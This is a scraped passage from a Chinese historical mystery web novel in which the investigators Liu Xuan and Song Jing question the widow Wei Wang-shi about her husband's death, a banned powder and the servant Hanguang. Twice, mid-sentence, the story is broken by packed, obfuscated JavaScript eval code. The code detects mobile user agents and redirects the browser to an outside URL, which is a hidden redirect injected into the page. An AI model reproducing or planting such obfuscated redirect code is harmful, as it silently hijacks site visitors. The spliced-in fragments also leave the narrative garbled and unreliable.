不多时,门内便传来一阵细碎而凌乱的脚步声,那脚步声由远及近,越来越快,似乎还带有一丝慌乱。 紧接着,厚重的门板被人从内轻轻推开,只露出一条狭小的细缝。 那缝隙中,隐隐约约,探出一位姑娘的倩影,瞧她的模样,年纪尚幼、身姿纤细柔弱。 她怯生生地躲在门后,仿若一只受惊的雏鸟,只用一双乌黑发亮却又满含警惕的大眼睛好奇地向外张望,目光不停地在门外的宿卫以及宿卫身后的轻红身上来回打量。 当姑娘的视线停留在宿卫那一身极具官威的官服上时,她的脸色瞬间变得惨白,眼底划过一丝惊恐与疑惑。 姑娘似乎意识到了什么,她连忙调整好情绪,迅速将挡门的门栓抬起,放在靠墙的架子上。 姑娘小心翼翼地将门完全敞开,而后规规矩矩,朝门外众人盈盈下拜行礼。 “奴见过几位郎君。” 当姑娘抬眼望去时,她才猛然注意到石阶下还有两位面容清俊、气度不凡的少年郎。 纯净得犹如初雪般明亮的阳光披洒在两位少年的身上,将他们衬托得宛如天神一样。 轻红离姑娘最近,她一眼就捕捉到了姑娘的神态变化。 她见姑娘那惊诧的目光最先落在柳悬那松风水月的面容上,在柳悬的脸上细细勾勒一番后,顺着柳悬的下巴一路滑落,直至触及柳悬那双搁在轮椅上的双腿与柳悬身下那张朴实的木椅时,姑娘的脸上闪过一瞬间的失落,不禁流露出一抹惋惜之色,同时轻叹一声。 而后,当姑娘的视线转向柳悬身后的宋旌时,似乎一切又变了,她的眼底俶尔闪过一抹稍纵即逝的亮光,她痴迷地望着宋旌,只见宋旌瞳点金漆,似光风霁月一般,英姿飒飒,每一次与宋旌的目光交汇,都会让她心跳加速、脸颊发烫,她那稚嫩的脸庞悄悄染上一抹绯色的红晕,她的眼神像是被丝线牵引,不由自主地往宋旌的身上瞟去。 轻红看在眼里,急在心里。她不满地瞪了宋旌一眼,那眼神如同无数把锋利小刀,刀刀扎在宋旌那张最容易招惹是非的脸上,嘴里发出轻微的“哼”声,在心中暗暗腹诽道:不过空有一副能勾引小姑娘的好看皮囊罢了,哪里比得上我家公子那般博学多识,又有旷世奇才! “小娘子,敢问魏公子院里的管事可在?”轻红上前一步,用瘦小的身躯挡在柳悬与宋旌跟前,刻意拔高嗓音,同时遮住了姑娘那几乎要溢出来的炽热目光。 轻红面色沉郁,神情严肃,眼中闪过一丝不屑,显然对这位姑娘用来打量她家公子的眼神颇为不满,但她依然牢记着柳悬此前的吩咐。 “管事?”姑娘愣了一下,一脸迷茫。 轻红见眼前的姑娘似乎对魏凡院里的事情一无所知,正怀疑他们是不是找错了人。 那姑娘恋恋不舍,又偷摸着向宋旌瞥了一眼,那一眼像是激活了她脑海中的某一个角落,她忽而回想起昨夜与其他侍女一同窥探到的那一幕——她记得,当时她们从窗户的缝隙中偷偷看见的那一抹挺立的背影正是眼前的宋旌。那时,宋旌也是在一位官差的引领下,毅然决然地撕去“大理寺”刚贴上去不久的封纸,就那样堂而皇之地登堂入室。 因此,姑娘理所应当地认为,“两位公子也是大理寺的官爷?” 姑娘尚未回复轻红的询问,却绕过身前的轻红,轻巧地探出半边身子,宛如枝头那只灵动的小雀儿,向柳悬身后的宋旌,抛去一句清脆婉转的问话。 宋旌性情直率,未经细想,便要直言否认姑娘那隐含深远意蕴的揣测。 然而,宋旌微启双唇,气息仍在喉间涌动,话语尚在酝酿之初,便被身前已洞悉其意图的柳悬以手势提醒,抢先一步,将他的话堵了回去。 “我等确为魏公子一案而来,恳请姑娘代为通传,宋某有不解之处,欲向含光小哥求教,望姑娘成全。”柳悬行事向来沉稳,为人彬彬有礼,他冠以宋旌的名头,在博得姑娘好感的同时,又给了个模棱两可的回答。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587808|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 或许宋旌还未曾有所察觉,但柳悬已瞧出那姑娘眼中的好奇与试探。 姑娘闻听此言,只觉得自己的心中是既糊涂又明白,她也不敢确认两人到底是何身份,只知晓他们与院内外的“宿卫”皆有所关联,不能轻易得罪。 于是,姑娘不敢有丝毫怠慢,赶紧硬着头皮,如实答道:“哎哟,这可真是让诸位爷受累了,含光今儿个一大早便出门去了,道是要至夜里才能归呢……不过夫人这会子正在院中,奴这就去为爷通禀一声。” 就在几人谈话间,院内突然传来一道轻柔妩媚又自带威严的询问声,正如那日在落霜院大门前的情景再现—— “芝兰,是谁在外面?” 柳悬虽未见其人,但那一股极为熟悉的语调还是穿透眼前的巨石屏风,悠悠传来。 随后,一位头簪白花,身着斩衰丧服的俏丽女子在几个侍女的簇拥下,莲步轻移,如踏梦而来的仙子,优雅行至姑娘身侧。 “哟~这不是昨儿个夜里不请自来的小郎君么?今儿个天刚蒙蒙亮,怎就又踏着晨露而来了?”浓妆艳抹的魏王氏是千娇百媚,眼角含笑,言辞夸张,意味深长地瞥了宋旌一眼。 宋旌无奈又无辜地注视着身前的始作俑者,他终于恍然大悟,解开了众多谜团中的一个: 昨夜,柳悬那般大张旗鼓,弄出诸多动静,原是打着“打草惊蛇”的主意,蓄意为之,故意演给落霜院……或者可以说是做给魏凡院中的人瞧得。 就目前的效果来看,柳悬就是要让落霜院里的人都知道他宋旌正在深入调查魏凡一案,以震慑那些意图从旁阻挠的人,又让暗中窥视的“凶手”惴惴不安、自乱阵脚。 “还是为了亡夫那桩案子吧?”魏王氏轻挑黛眉,一双如葱般的玉手柔柔地环抱住双臂,手中握着一把绘有双蝶戏牡丹的精致团扇,缓缓摇曳,轻薄的扇面带起一缕缕微风,也带着几分不言而喻的弦外之音,“几位郎君,何不进来坐坐,也让妾身好好招待一番?” 宿卫见宋旌接到柳悬的指示,便紧握轮椅扶手,双臂稍一使劲,稳稳地将柳悬的轮椅推上石阶。 与此同时,魏王氏则款步轻移,正准备引领他们一行人深入宅院。 宿卫见状,明白自己已完成使命,便识趣地向宋旌告退,随后转身融入人群,重新返回自己的岗位。 在魏王氏的引领下,宋旌一行人随她一同前往八角小楼右侧的一排厢房。 这些与落霜院里其他建筑的建筑风格一般无二的厢房虽然不比魏凡的主屋那般极尽奢华,但是屋内的布置却仿若量身定制一般,精美得令人咋舌,所有用度皆属上乘,这般精妙绝伦,在这盛京之中也称得上是凤毛麟角。 不得不说,魏凡生前,对他这个妾室倒是颇为宠溺,仿佛是将其视作正妻那般倾囊相授。 魏王氏在门前停下脚步,她转身朝宋旌打趣道:“昨夜,妾身见郎君在亡夫那死气沉沉的屋子里徘徊许久,想必已将那小楼里的每一个角落皆查看得清清楚楚,今日,妾身便斗胆一回,不请诸位去那晦气的主屋一叙,而是请郎君屈尊降贵,移步至我这简陋的厢房,吃一碗热茶,就权当作是弥补昨夜那份未尽的地主之谊,郎君意下如何?” 魏王氏轻推开半掩的木门,向宋旌等人微笑示意,邀请他们一同进屋。 柳悬抬眼望去,只见魏王氏的闺房内窗明几净,摆设考究,一股浓郁的熏香在空气中袅袅弥漫。 宋旌紧抿双唇,沉默不语,对魏王氏的话充耳不闻,他的目光甚至连一丝余光都舍不得落在魏王氏的身上,那一副意兴阑珊的模样,仿佛是对周围的一切都失去了兴趣。 宋旌忍不住疑惑:柳悬此行明明是为了寻含光问话,为何含光不在,柳悬也不命人尽快去找他,反倒是一反常态地不遵儒学礼法,与这明显是心怀鬼胎的女子一同踏入她的闺房,这般不守规矩又是有何用意? 宋旌一边想着,一边脚步不停,与柳悬一同踏入屋内,十分警惕地观察着魏王氏的一举一动,生怕她别是憋着什么下三滥的坏心思,打他与柳悬的坏主意。 魏王氏对宋旌的冷漠并未表现出任何的不满,她反而笑得愈发的灿烂。 她轻摆玉手,吩咐屋外那乌泱泱的一群侍女们速去准备些上好的茶水,而后,身姿蹁跹,宛如一只灵动的蝴蝶般,轻盈地穿过那扇用于隔挡的珠帘。 珠帘轻碰,发出清脆悦耳的声响。 魏王氏在偏厅的贵妃榻上优雅地落座。 “若妾身未记错,昨日已有一位公子偕同郎君身后那位姑娘至此,该问的不该问的都问了,怎的,郎君还未寻得心中所求?故而今日又来旧地重游?”魏王氏斜倚在贵妃榻上,眼波流转,风情万种地瞥过宋旌的脸,最终将那一抹深邃落在了柳悬的身上,语气中带着一丝漫不经心的玩味,仿佛在试探,又仿佛在暗示。 这时,侍女们鱼贯而入,迅速在正厅的空地上摆放好茶案与椅子,好让宋旌能在柳悬的右侧落座。 轻红站立于柳悬的身后,看着训练有素的侍女替宋旌与柳悬分别烹煮了一碗新鲜的香茶。 “有几处细枝末节,尚需印证,欲询那含光小哥,奈何天不遂人愿,不曾想,他竟提早便出门去了。”柳悬接过侍女递来的茶碗,轻轻点头致谢,却并未急于品尝。 他凝视着那碧澄清澈的茶汤中缓缓舒展开的几株嫩苗,翠绿中透出一抹明亮的黄绿色,宛如冬雪消融时枯木上初绽的生机,茶香袅袅,甘醇诱人,“蓬莱仙芝,果真是茶中极品,难得一见。” 33.奴婢 在自幼被阿谀奉承之声环绕,常年置身于一繁花锦簇而虚浮不实之幻境的魏王氏眼中,柳悬这般夸赞,不过是万千俗套中的一缕清风,如过眼云烟,掀不起魏王氏心中丝毫的波澜。 魏王氏唇角轻扬,绽放出一抹温婉而得体的微笑,恰似湖面上一圈荡开的浅淡涟漪,转瞬即逝。 随后,魏王氏将头轻枕在白皙若雪的臂弯上,姿态慵懒而闲适,目光落在一双精致的绣鞋上,向静候在脚侧的侍女,轻声发问:“含光此时何在?” 侍女闻言,缓缓起身,谨小慎微地迈着细小的步伐,款款上前,将下巴深埋至胸口,连眼皮都不敢轻易抬起,唯恐冒犯了屋子里的几位贵人,“回夫人的话,含光说,过几日咱们便要护送公子的灵柩返回禇地。此去路途遥遥,万不能让公子的贵体在路上受了半分委屈。因此,需得提早筹备诸多物事,这便一大早就出门忙活去了。” 侍女一板一眼地回完话,又悄无声息地退回原位,低眉顺眼地跪坐在魏王氏的脚边,手中的扇子随手腕而晃动,一下又一下,轻轻地扇动着从冰鉴中散发出来的阵阵冷风,为魏王氏送去丝丝恰到好处的凉意。 “诸位郎君,可都听明白了?”魏王氏悠然自得地斜倚在那张光泽熠熠的贵妃榻上,她那几根嫩如青葱、洁白如玉的纤纤玉指往那榻沿儿上轻轻一搭,这看似是不经意间的小动作,却好似有一根操纵傀儡的细丝线一般,将一旁端着镀金食盘的侍女轻而易举地牵引至自己身前,“亡夫虽已魂断京都,但民间素有‘落叶归根’之说。” 魏王氏从身前跪伏的侍女手中信手拈起一颗宛如红宝石般小巧玲珑、娇艳欲滴的果子。 “待蒋公子一事尘埃落定,”魏王氏一边说着,一边将茶果抵在那丰盈饱满的两片红唇之上,而后食指轻轻一推,那果子便顺滑地落入齿间,咀嚼时,魏王氏微眯起一双美眸,漫不经心地说着,“我们这些漂泊于异乡的游人,终究是要随亡夫同归故土。此一番行程,我与院中众人失了亡夫的庇护,归时路虽是来时路,归时人却已不是来时人,前路崎岖,琐事繁杂,人心亦是难测,含光为此诸多操劳,实属理所当然。故而,寻他未果,亦是再正常不过的事。” 透过那一层欲盖弥彰的珠帘,冷眼旁观的宋旌将魏王氏那一副矫揉造作的姿态尽收眼底。 他早已对这类趋炎附势、唯利是图且无情无义之人见怪不怪:那妇人,丧夫之痛仍未消,丧服在身期未满,却已迫不及待地替自己寻觅新的倚靠……宋旌心中不禁暗自冷笑,对眼前女子的不满与偏见又平添了几分。 此刻此景,若不是柳悬有意留下,宋旌真恨不得即刻抽身离去,一刻也不愿多留。 柳悬将茶杯搁于右侧那张古朴方正的茶案上,一如往常,谈笑自如,“夫人与含光皆属禇地,今魏公子已魂归故里,待诸事皆定,尔等欲随魏公子归乡,亦是人之常情。” 言至此处,柳悬忽然噤声,右手指尖微动,拈起茶案上的茶盖,以茶盖的边沿轻拂去茶面那一层细腻的浮沫,目光闪烁间,话题陡然一转,含笑问道:“只是,据我所知,院中尚有诸多京中人士,譬如那含春……” 柳悬的话,似轻羽般缓缓落下,却又似有意无意地拨动了某根细弦,接着不紧不慢地问道:“不知夫人将何以安置之?” 既然宋旌都能轻易识破魏王氏此番定是另有所图,柳悬自然也是洞若观火。 只是柳悬心中隐隐觉着,魏王氏所求之事,恐非易事。 更何况,他此刻更在意的是,魏王氏在提及蒋礼时,那刻意拉长的语调,就好像其中潜藏着某种不为人知的含义。 “我?去安置含春!?”魏王氏在听完柳悬的话后,像是听到了某个极为荒诞的笑话,她突然放声大笑起来,那笑声如银铃般清脆,却又带着几分不可抑制的愤怒与癫狂,笑了一阵,笑得花枝乱颤的魏王氏才捧着小腹,以手绢轻拭去眼角那一颗晶莹的泪花,旋即面色骤然一冷,声如寒刀出鞘,“他的能耐可大得去了,哪里用得着我这见识粗鄙的妇人来操心安置?” 屋内,侍女们各司其职,一派井然。 只听魏王氏陡然间提高了音量,打破了原有的平衡。 侍女们纷纷停下手中事务,相互投去满是忧虑的目光。 从她们那隐约透露出紧张的神韵之中,可以清晰地感知到空气中弥漫着一层微妙的不安——毋庸置疑,魏王氏对那位与她共侍一夫的含春怀有深深的嫌隙。 “罢了,不提他了。” 魏王氏凌空一摆手,仿佛瞬间挥去了心头萦绕的乌云,仅用一句话,便轻巧地将此页翻过,那语气中蕴含着淡淡的厌倦与决绝,俨然是不愿再提及此事。 她从铺陈着柔软云锦的贵妃榻上缓缓起身,身姿婀娜,宛若春日里随风轻摆的柳丝,步履曼妙,一步一韵,款款而行。 直至那镶嵌着各色珍稀宝石,在阳光下流光溢彩、熠熠生辉的梳妆台前,她微抬皓腕,指尖似轻风一般,温柔地拂过那些绽放着璀璨光华的细腻珠釵,珠釵上的吊坠随着她的轻抚而轻轻摇曳,宛如翩翩起舞的蝴蝶。 刹那间,珠釵上的悬饰相触,发出一串清脆、悠扬的“叮叮”声,那声音既有山泉一般的清冽之感,又有风铃一般的悦耳之音。 “说说吧~”魏王氏轻启朱唇,言辞间柔媚带刺,“诸位郎君既已屈尊至此,不知所求为何?总不至于……是为了垂询妾身将如何发落那几个微不足道、命如蝼蚁的随从吧?” 众人只见她端坐于梳妆台前,将一支雕刻得栩栩如生的金穿玉凤簪轻轻地插入发髻间,随即微微侧首,左右顾盼。与此同时,她那一双一翦秋光的美目,透过铜镜的映射,毫不遮掩地审视着珠帘外的宋旌。 那目光中既有几分挑逗、又有几分窥视的意味儿,仿佛蕴含了千般情绪、万种风情,却偏偏只悄无声息地落在宋旌一人身上,让他如芒在背、坐立难安。 宋旌被魏王氏那一束灼灼目光盯得好似一只热锅上的蚂蚁,浑身不自在。 他心头虽涌动着羞愤与恼怒,但他又不能仅因一位女子的无端注视,就贸然失了风度与分寸,便只能隐忍不发,将求助的目光投向左侧的柳悬,不自觉地用手指在椅子的扶手上敲打出急促的“哒哒”声。 那声音在骤然沉寂的屋内,显得异常刺耳,就好似一阵密密麻麻的鼓点,在无声地催促着柳悬快些寻个由头离开。 柳悬宛若一只超脱尘世的孤鹤,他安坐于轮椅之上,神情淡然,对周遭发生的一切充耳不闻、视而不见。 魏王氏话里话外的暗示皆未能在柳悬的心湖里激起一丝波澜。 柳悬无意挑起新的话题,他甚至连眼帘都未曾掀起,只是微微向左侧倾身,以一种近乎于漠然的姿态,慵懒地倚靠在轮椅上,随后,他缓缓曲起食指,轻轻抵在自己的太阳穴上,双眸渐渐合拢,仿佛沉醉于一场无人知晓的梦。 霎时间,屋内的氛围变得异常凝重与诡异,就像存在一股无形的力量,将众人紧紧扼住,空气仿佛被某种神秘的吸力猛然抽离,变得既稀薄又沉重,压得人几乎喘不过气来。 也不知这漫长而煎熬的僵持究竟绵延了多久,在每一分、每一秒的流逝中时间好似一把锈迹斑斑的钝刀,在众人那紧绷的心尖上狠狠地割磨、拉扯。 终于,魏王氏再也无法忍受那微妙且充满张力的气氛。 她霍然起身,轻抬玉手,吩咐侍女在正厅中央添置了一把玫瑰椅与一张茶案。 紧接着,她轻轻一挥衣袖,将屋内的侍女悉数遣散。 “郎君们,何须再遮遮掩掩?” 当门窗紧闭,窗外的光线仅能透过窗户上的绢布,勉强渗透进屋内,形成一道道昏黄而斑驳的光影时,屋子里只剩下柳悬一行人。 珠帘摇曳生响,伴随一阵“哗啦啦”的清脆声音,魏王氏的身影赫然出现在珠帘之后。 她伸手拨开那道可有可无的珠帘,神色不由自主地凝重起来,先前的柔媚被几分正经所取代。 最终,还是她率先发声,打破了原有的平衡,“我已明了诸位郎君皆是因蒋公子一事而来,既然我们各有所求,何不干脆利落,打开天窗说亮话?这样也能让彼此更加明确对方的诚意,岂不更好?” 一语落定,魏王氏以雍容雅步,悠然行至宋旌与柳悬对面,其身形依旧是风姿绰然,然而其气质却悄然蜕变,散发出冷峻而内敛的陌生气息。 她沉稳落座,此前那一副矫揉造作的妩媚之态已荡然无存。 就在魏王氏那悠长的余音仍在屋梁之间缠绵回荡,尚未完全消散之际,柳悬似已算准了这一瞬息万变的时机,对接下来将要上演的戏码早已了然于胸。 他的声音平静得宛若幽谷之中冰封于深冬时节的一汪寒潭,既冷冽又不带有一丝波澜:“据夫人所知,魏公子生前可曾身染沉疴顽疾?” 宋旌在一旁静静观望,只见柳悬的双眸依然紧闭,但是魏王氏哪怕是细微至极的睫毛轻颤、嘴唇微抿,这些不值一提的细枝末节,似乎都未能逃脱他的觉察,直接赤.裸.裸地显现于他的眼前。 魏王氏着实被柳悬的直率给震慑住了。 她原以为这位温文尔雅的公子,行事定会迂回曲折、酸文假醋,热衷于那些虚头巴脑的繁文缛节,可她万万没想到柳悬出招竟会如此干脆果决,连半点寒暄与铺垫的机会都未留,便顺其自然地将她带入一个显然是他提前预设好的话题中。 她不禁暗自咂舌,若要论起“不按常理出牌”的本事,眼前这个文绉绉的柔弱书生竟不输那些“不要脸”的狡猾奸诈之徒半分,就连她这个自诩在军中见惯了各种泼皮无赖的将门虎女,都要自叹弗如,由衷地感到钦佩。 “郎君怎不先问问,我所求之事到底牵涉何人何物?”魏王氏轻蹙秀眉,脸上那份沉着冷静也逐渐化作一抹无法掩盖的难以置信,眼中流露出一丝不安,怔愣片刻后,脱口发问,质疑之声在寂静的屋子里撞出了细小的回音。 不止魏王氏始料未及,就连宋旌也被柳悬的单刀直入给整懵了。 宋旌只见柳悬的脸上既没有继续商谈的热忱,也没有拒绝商谈的冷漠。 柳悬只是纹丝不动地坐在轮椅上,再没有发出一丁点声响。 魏王氏实在琢磨不透柳悬心中的算计。 若说柳悬有意与魏王氏磋商,可他对魏王氏即将抛出的条件、要求,全然一副漠不关心的模样,仿佛他只在意魏王氏能带来什么样的价值与利益;若说柳悬无意与魏王氏商榷,但他又不置一词,从未反驳魏王氏所说的“各有所求”与“打开天窗说亮话”,仿佛默认了这场会谈能正常进行。 柳悬就像一团令人费解的迷雾,他那模棱两可、似是而非的态度,既算是默许下能满足你提的所有要求,又从未给予过你只言片语的承诺,让你无法轻易试探他的底细,却又忍不住去揣测他手中究竟掌握着多少筹码。 此番情境下,魏王氏犹如被放置于一个隐匿的天平上,一侧是她按捺不住想要当即翻脸、质疑对方诚意的冲动,而另一侧则是她谨慎地拿捏分寸,力图展现自身的价值,以赢得柳悬的深信与合作。 正厅中的气氛再度变得沉闷,破碎的阳光洒在魏王氏的脸上,清晰地映照出她眼底那抹交织着犹豫与坚定的复杂神色。 随着沉默的时间不断延长,她意识到自己在这场无形的博弈中已落入下风,心中那点一切尽在掌握中的底气也正在一点点地漏光,整个人不知不觉地陷入极为被动的境地,如同身陷泥沼,难以自拔。 魏王氏的眼神飘忽不定,她不时地偷偷瞥向柳悬,只见他依旧双目紧闭,沉默不语,没有丝毫要回应她的意思。 她顿感心中五味杂陈,那份沉寂已久的渴望如同荒草遇见了春雨,开始疯狂地生长蔓延。 她实在担心柳悬会一走了之,帮宋旌另辟蹊径。 经过再三思量,她不得不卸下心中的防备,咬紧牙关,败下阵来。 魏王氏最终还是收敛起最初的傲慢与猜忌,开始认真回应柳悬的问题。 “顽疾……”魏王氏深吸一口气,一手环在胸下,一手托住下巴,手指摩挲着圆润的下巴尖,仿佛是在回忆中搜寻着确切的答案,仔细捉摸了一阵,才幽幽说道,“亡夫身强体壮,虽无多少才学,可那一身蛮劲倒是实打实的,含光昨日不是还曾提过一嘴?就在亡夫离世前的几个时辰内,他还跟院里那些豢养的力士们摔得起劲,好不快活。” “别的暂且不提,”魏王氏说着,又顿了顿,神色陡然一凛,眼中闪过一丝不断翻涌的阴霾,似是想起一些令她极为不悦的事儿,声音里夹杂着几分阴冷,“在碰上含春那个贱蹄子之前,亡夫的身子骨,说是有猛虎之姿也毫不为过。” 话至此处,魏王氏不自觉地攥紧手中的丝娟,在刚提到含春的名讳时,魏王氏像是被什么恶毒的东西突然蛰了一下,她猛地冷哼一声,脸上竟然浮现出几分难得的惋惜之色,咬牙切齿道:“亡夫若不是被含春那小贱人给迷了心智、暗中算计,就凭蒋公子那手无缚鸡之力的文弱书生,怎能轻易刺中亡夫?” 柳悬闻听此言,终是缓缓抬起一直紧闭的双眼,他神色淡漠,眼神轻飘飘地落在魏王氏的身上,那深邃的目光犹如一口寒夜古井,幽深得令人心悸。 魏王氏被柳悬盯得心头一颤,她莫名就心虚起来,即便她笃信自己所言所述句句属实,可一旦撞上柳悬的视线,她就感到一种难以言喻的压迫感,就好似赤.身.裸.体地立于人前,被一股无形的力量狠狠剖开,所有隐秘的心思都无所遁形,被对方一眼看透。 “依夫人所察,魏公子近来的身体状况可是大不如往昔?”柳悬对魏王氏的指控仿若未闻,只是不紧不慢地发问。 他的声线依旧四平八稳,好似在唠一件轻松惬意的家常一般,但是潜藏在他那话语间的探究意味却如看不见的藤蔓,丝丝缕缕地冒出一点嫩芽,接着愈发得肆意蔓延。 随着柳悬的话音落下,原本紧张的氛围似乎被轻轻揭开一角,魏王氏见柳悬的神色如春日暖阳般温和,便情不自禁地随之放松下来。 “岂止是大不如以往啊,”魏王氏叹了声气,身子微微后仰,虚靠在椅背上,语气中带有几分感慨,“说是天壤之别,也毫不夸张。” 魏王氏的手指在丝娟上细细绞动,那娟子似乎成了她心中思绪的化身,随着她的回忆而不断翻涌:“亡夫在绾昔之时,家中可谓是壮士如云,力大无穷之辈比比皆是,”魏王氏的眼中闪过一丝骄傲,却又转瞬被一抹遗憾所取代,“那些人里,哪一个不是亡夫的手下败将?莫说公然放水,就算是稍有分心,也恐难逃重伤之厄。” 说着,魏王氏突然一顿,语气中混杂着惋惜、无奈、厌恶与一股汹涌澎湃的滔滔恨意:“然而,自那含春去年年前不知从何处弄来些花花绿绿的药粉,哄骗亡夫服下之后……” 魏王氏的话戛然而止,她的眼眶微微泛红,隐约间,好似有一层水雾在她的眼中弥漫,却又被她强忍着,未曾落下。 柳悬静静听着,当他听见魏王氏也陈述到蒋礼曾提过的药粉时,他便立刻警觉起来。 昨夜,在魏凡的寝居内,他发现的那几个药包与散落在床褥上的粉末,应当就是蒋礼与魏王氏口中的药粉。 依据柳悬的推断,那药包中的粉末正是千年前风靡一时,但从旗国开国以来就被列为禁药的五石散。 这药方历经数百年的封禁,早已变得神秘莫测,世间识得之人寥寥无几。 柳悬昨夜亦是从那粉末中嗅出了一股混杂着腐败酸臭味儿的黏土气息,才得以确认魏凡生前与蒋礼所服用的药粉竟是这消失已久、不见天日的五石散。 柳悬刻意将这药粉的身份暂时掩埋于心底,未曾在魏王氏的面前显露出一丝端倪。 他心如明镜,深知魏王氏身为魏凡的妾室,倘若得知魏凡生前所用的药粉乃是旗国的禁药,她必定会因为家翁魏鹏在朝中的显赫地位而左右为难,最后不得不替魏氏遮掩,以保全魏凡那点儿为数不多的名声。 如今,柳悬尚不清楚这禁药与魏凡一案到底有何联系,更不确定魏王氏今日要交换的筹码是什么,因此他不能让魏王氏的心中生出太多不该有的顾虑。 “魏公子近日可曾身染风寒?”见魏王氏言辞渐歇,柳悬语调轻松,自然而然地话锋一转,仿佛只是随口一问。 “风寒?”魏王氏显然不解其意,眼中闪过一丝困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630747|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑,下意识地脱口而出,“倒是不曾听说过。” 说完,魏王氏轻轻摇了摇头,一头乌发随之晃动,好奇之色溢于言表:“郎君为何会有此问?” 柳悬的唇角勾起一道恰似一轮新月的弧度,一抹意味深长的浅笑似春日的花苞般绽放,他的眸光微动,不经意间捕捉到宋旌正聚精会神地聆听他与魏王氏的交谈,那一刹那,柳悬似是想起某段令人愉悦的回忆,眼角含笑道:“前日,我偶然途经落霜院的门庭,恰闻魏公子与含光小哥言及,自称近日似有头疼之恙,不知公子此疾因何而发?又可曾延请大夫诊视?” 魏王氏在柳悬的循循善诱下,思绪渐渐回溯至案发前那天。 “啊!郎君这一提,倒是真叫我想起来了。”魏王氏心中暗叹,柳悬的问题一个套着一个,如密雨般接踵而至,让她根本寻不到一丝插话的间隙,如同一只被丝线操纵的傀儡般,一言一行皆在无声无息中受到柳悬的牵引与控制。 此刻,在魏王氏的眼中,柳悬就像一只不知餍足的饕餮,倘若魏王氏无法替他解开所有的疑惑,柳悬便绝不会给她诉说所求之事的时机,这让魏王氏的心底不由得生出些许不满,仿佛有一群小虫在不停地噬咬。 魏王氏端起茶杯,努力维持着表面上的端庄娴静,耐着性子回道:“大抵是院子里的杏花刚长出花苞那一会儿,亡夫的确不幸身染上风寒,自此,便落下了头痛的顽疾,每至阴雨绵绵时节,那顽疾便如附骨之蛆,如影随形,非得依赖汤药,方能暂得一时安宁。” 魏王氏轻启朱唇,微抿一口茶水。 茶水润湿了干涩沙哑的嗓子,替魏王氏缓解了些许疲惫。 可魏王氏还未休憩片刻,就听柳悬那清冷的声音再度响起:“不知公子所服之方剂是哪一副?” 魏王氏的眉心急剧跳动,她心中暗自叫苦不迭。 起初,当魏王氏听闻宋旌要替蒋礼翻案的消息时,她心中暗自窃喜,自以为自己手中握着翻案的关键性证据,有与宋旌先行谈判的底气。为此,她还精心筹备了一套滴水不漏的说辞,只待宋旌一脚踏入彀中,她便能借宋旌之力,成全她当年求而不得之事。 可没成想,半路杀出个柳悬。 柳悬的提问打乱了她的计划,像是无数支乱箭一般,每一支都偏离了她提前布置的“靶心”。 “这……妾身委实不知啊……”魏王氏勉强挤出一丝笑容,那笑容中却蕴含着难以掩饰的无奈与尴尬,“长久以来,亡夫的饮食起居皆由含光亲自打理,旁人根本无从插手,就连请大夫、抓药这等小事,含光也是亲力亲为,生怕亡夫有个闪失……” 魏王氏敷衍着柳悬那些看似漫无目的的提问,心中暗自嘀咕:这迂腐的书生莫不是温书温傻了?也染上了那些老头儿的古怪毛病,总爱先问个痛快,直至言辞干涸,才肯垂耳倾听他人言语? 思及此,魏王氏的回话也逐渐变得随意起来,不再斟词酌句。 正当魏王氏准备接着说“含光向来最疼惜他主子”时,她忽然像是被什么东西触动了心弦,猛然察觉到一丝不对劲。 魏王氏眼神闪烁。 “郎君可是在揣测……?”魏王氏刚吐出来几个字,又像是被人扼住了咽喉,生生把后半截话给咽了回去。 魏王氏的眼中闪过一丝慌乱与犹疑。 她凝眉深思了一会儿,旋即又斩钉截铁地否定道:“不!绝无可能!含光即便在暗中对含春那小子使了什么阴损、卑劣的手段,也绝不敢、更不会伤亡夫一根毫毛!” 魏王氏仿佛被柳悬那未表明的猜忌击中了内心深处某个最敏感的地方,整个人像是受到了巨大的冲击,浑身上下都散发出一种难以名状的抵触与惊愕,似乎脑海中正涌现出一个惊世骇俗、荒谬至极的念头。 “夫人何出此言?”柳悬的嗓音恰似那潺潺流淌于深山幽涧的清溪长流,平静而缓和,听不出一丝波澜起伏的情绪。 然而,那看似云淡风轻的话语又似一支暗藏锋芒的离弦之箭,在不经意间破空而出,带着一股锐不可当的劲道,直直命中目标靶心,令有几分疲乏的魏王氏心头一紧,脸色瞬间变了变。 “郎君有所不知……”魏王氏正了正虚靠在椅背上的身子,重重地哀叹一声,似是被卷入往昔的回忆漩涡,眼中饱含着无奈与沧桑,缓缓陈述道:“含光,乃是这魏府上下,唯一承过亡夫恩泽之人……” 魏王氏停顿了一下,似乎在组织着更为恰当的措辞,以便更准确地传达她内心的想法。 环顾这魏府上下,熙熙攘攘,数百之众内,细细数来,除了能进魏家宗祠、上魏家族谱的数十人,其余诸人,皆是与牲口无异的奴仆。 这些仆役,有的是世世代代侍奉魏家的贱奴子女、生来便是贱籍;有的是穷苦人家走投无路、忍痛贱卖的亲生孩子;还有的是触犯了诸如大逆之类的重罪而被贬为贱奴的罪臣家眷;更有甚者,是军队征战四方时从各地收缴来的战俘。 他们,无论男女老少,无论曾经拥有过怎样的过去,在魏王氏的眼中,大多是身不由己,被命运裹挟至此,甚至还有极个别与魏家有着不世之仇。 其中,几乎没有一个人被魏家主动施以恩惠,毕竟他们是奴,他们生来或者被买来的作用,便是给魏家人使唤。 养活他们,或者说,在魏家给他们留有一席之地可以容身,便是魏家人所给予得最大的恩惠。 